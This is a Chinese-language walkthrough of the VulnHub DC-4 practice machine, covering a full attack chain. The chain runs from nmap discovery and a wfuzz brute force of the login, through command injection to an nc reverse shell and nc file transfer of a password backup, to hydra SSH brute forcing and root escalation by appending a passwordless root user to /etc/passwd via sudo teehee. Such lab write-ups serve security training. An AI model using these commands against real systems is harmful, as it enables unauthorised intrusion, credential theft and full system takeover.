vulnhub--DC4 WP
DC4
1、信息收集
靶机运行后就不用管了,先用nmap探测活跃主机,由于在同一网段,直接使用如下命令:
nmap -R 192.168.247.0/24
扫描之后多出来的那个就是目标主机了。
看到开了一个80的web服务和22的ssh服务,先访问一下web服务看看:
看得出来,就是一个简单的登录框,测了下发现没有验证码和登录次数限制,直接进行爆破。
kali自带的有个密码字典,在
/usr/share/wordlists
使用wfuzz直接爆破:
wfuzz -v -w pass.txt -d "username=admin&password=FUZZ" --hh 206 -u http://192.168.141.137/login.php
参数解释:
-v:详细的信息
-w:指定字典
-d:传输POST请求正文
--hh:根据响应报文字符数进行隐藏
-u:指定请求的url
得到密码:happy
2、漏洞利用
登录进去之后,发现里面有个命令执行功能模块:
点击执行后还会返回你所执行的命令,使用burp抓包看看发送的请求的内容:
可以看到post数据里面有传过去命令ls -l
,放到repeater模块里面,把这个命令改成其他命令看看系统会不会执行。
尝试执行一下whoami,发现执行成功,说明存在远程命令执行漏洞,接下来就可以尝试进行反弹shell了。
先在kali上做好监听:
nc -lvp 4444
之后在burp上执行反弹shell的命令:
nc -nv 192.168.247.135 4444 -e /bin/bash
此时kali上就收到了弹回的shell,之后给他改成方便交互的:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
3、提权
getshell之后就要想办法提取了,首先查看能够登录的帐号:
cat /etc/passwd | grep "/bin/bash"
或者进入/home查看里面的用户:
看看里面都有什么文件,之后在jim的文件夹里找到了一个文件old-passwords.bak
使用nc把东西传过来查看一下:
nc -nvlp 5555 > old-passwords.bak
nc 192.168.247.135 5555 < /home/jim/backups/old-passwords.bak
发现是一个字典,直接用它爆破一下ssh服务:
hydra -l jim -P pass.txt -t 6 ssh://192.168.247.132
爆破得到jim的密码:
之后使用这个密码进行登录,查看mbox内容:
看上去像是一份邮件,去 /var/mail
看看是否有信息:
在里面发现了charles的密码:
使用su命令切换至charles用户,执行sudo -l
尝试提权:
发现可以使用所有命令,那就直接写个 root 权限用户:
echo "test::0:0:::/bin/sh" | sudo teehee -a /etc/passwd
之后su到这个用户就是root权限了: